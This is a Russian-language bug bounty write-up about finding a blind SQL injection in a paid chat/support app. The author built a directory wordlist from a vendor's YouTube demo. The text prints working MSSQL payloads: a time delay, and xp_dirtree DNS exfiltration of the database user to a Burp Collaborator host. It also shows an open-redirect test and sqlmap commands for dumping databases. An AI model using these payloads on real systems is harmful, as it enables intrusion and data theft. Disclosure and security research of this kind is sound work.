Как видео на YouTube привело к взлому веб-приложения

Эта статья относится к одному из моих открытий в частной программе на HackerOne. Поскольку это частная программа, я внес определенные поправки, чтобы предотвратить раскрытие любой конфиденциальной информации.

Я провел базовую разведку, включавшую в себя сбор поддоменов. После сбора поддоменов с помощью некоторых инструментов с открытым исходным кодом, таких как AMASS и т.д., я начал изучать каждый из них. В процессе я наткнулся на домен, который будем называть chat.example.com. При переходе на него, отображалась дефолтная страница IIS сервера.

Встретив веб-страницу по умолчанию всегда есть шанс, что что-то может присутствовать, поэтому я продолжил поиск контента с помощью фаззинга каталогов, используя мои списки слов. Я использовал ffuf для фаззинга веб-сервера, и получил только один каталог. Он имел наименование типа /vendor-name. Посещение приложения по адресу https://chat.example.com/vendor-name/ выдало ошибку 403 Forbidden.

Обнаружив ошибку, я стал искать директории внутри каталога /vendor-name, что привело меня к другому успешному каталогу, названному по типу /software-name и возвращавшему также ошибку 403 Forbidden. Фаззинг /vendor-name/software-name/дал несколько результатов, таких как и /bin,/scripts,/logs,/styles т.д., но ничего особенно интересного. Директория Logs казалась очень интересной, но фаззинг списков слов на этих конечных точках не дал никаких результатов. Я пробовал различные расширения, такие как html,aspx,ashx,asp,bak,log, но ни одно из них не работало, и это казалось мне тупиком.

Затем я начал гуглить названия первых двух каталогов. Так как они выглядели /vendor-name/software-name, я загуглил Vendor-Name Software-Name и получил немного результатов и информации о программном обеспечении, которое было установлено на сервере. Это было платное программное обеспечение для чата/поддержки. После этого я искал на GitHub и т.д. структуру каталогов приложения, но ничего не было доступно. После просмотра нескольких результатов я нашел видео на YouTube от поставщика, в котором объясняется, как установить и настроить приложение. Поскольку это была демонстрация программного обеспечения, вендор демонстрировал способы настройки различных файлов конфигурации, поэтому в видео вендор открывал папки, в которых был установлен сервер, и, углубившись в каталоги программного обеспечения, я смог сопоставить свои выводы со структурой каталогов программного обеспечения.

Наконец, после копирования и вставки различных каталогов/файлов и создания списка слов из видео, я нашел несколько форм с помощью видео, одна из которых была:

https://chat.example.com/vendor-name/software-name/directory1/vulnerableform.html

После заполнения полей и нажатия кнопки Send, перед отправкой данных был сделан предварительный GET запрос, который выглядел примерно так:

https://chat.example.com/vendor-name/software-name/_randomfiles.aspx?_param1=1&_returnURL=%2Fexample.html

Это выглядело интересно, поэтому я попытался просмотреть запрос и ответ. Ответ содержал перенаправление на адрес, указанный в _returnURL. Я попытался вставить https://evil.com в _returnURL и ответ содержал перенаправление на https://evil.com. Однако Open Redirect был вне области действия. Я попытался ввести javascript:alert(1) в URL-адрес, но он был правильно закодирован. После этого я решил поискать SQL инъекцию в другом параметре и изменение его значения не повлияло на ответ, поэтому SQLI на основе ошибок был невозможен. Я попытался внедрить некоторые полезные нагрузки Blind SQLI, чтобы вызвать временные задержки. Поскольку это был сервер Microsoft, значит, скорее всего, внутренней базой данных будет Microsoft SQL Server. Я попытался вызвать некоторую задержку ответа, используя базовую полезную нагрузку waitfor delay'0:0:20'-- и, к моему удивлению, инъекция прошла успешно; в ответе была задержка на 20 секунд. Существуют различные способы использования слепой SQL инъекции, такие как вызов условных ответов и эксплуатация через внешнее взаимодействие. Самый распространенный способ — запустить внешнее взаимодействие приложения с системой, которую мы контролируем. Наиболее распространенным способом является использование протокола DNS (служба доменных имен), поскольку почти каждая организация разрешает исходящие DNS-запросы, что имело место и в этом сценарии.

После этого я погрузился в гугл. Сначала, чтобы подтвердить уязвимость, я использовал процедуру «xp_dirtree», которая попытается получить список содержимого каталога или сетевого ресурса, указанного в первом аргументе. Если список является общим сетевым ресурсом, он выполнит поиск DNS для него, и если мы получим обратный вызов, мы сможем подтвердить, что извлечение данных через обратное соединение возможно.

PingBack Payload

;declare @q varchar(99);set @q=’\\[YOU_BURP_COLLAB_SUBDOMAIN_PART_HERE].burpcollab’+’orator.net\ogy’; exec master.dbo.xp_dirtree @q; —

Полезная нагрузка для извлечения имени пользователя

;declare @q varchar(99);set @q=’\\[YOU_BURP_COLLAB_SUBDOMAIN_PART_HERE]’+(SELECT user_name())+’.burpcollab’+’orator.net\ogy’; exec master.dbo.xp_dirtree @q; —

Но существует ограничение на количество символов, которые можно извлечь вручную. Извлечение данных возможно только если результат запроса меньше 253, включая домен burp collaborator. Для дальнейшей эксплуатации я использовал SQLMAP, который может легко предоставить нам данные, которые мы хотим в нашем PoC .

Подтверждение инъекции

python3 sqlmap.py -u https://chat.example.com/vendor-name/software-name/_randomfiles.aspx?param1=1

2. Получение баз данных

python3 sqlmap.py -u https://chat.example.com/vendorname/softwarename/_randomfiles.aspx?param1=1 — dbs

После этого я создал отчет со всей информацией и отправил его в программу на HackerOne. Триажер подтвердил наличие уязвимости и оценил отчет как Critical [9.3]. После устранения проблемы приложение заработало.

Уязвимость была устранена, а программа выплатила вознаграждение в размере 4324 долларов.

Как видео на YouTube привело к взлому веб-приложения

Report Page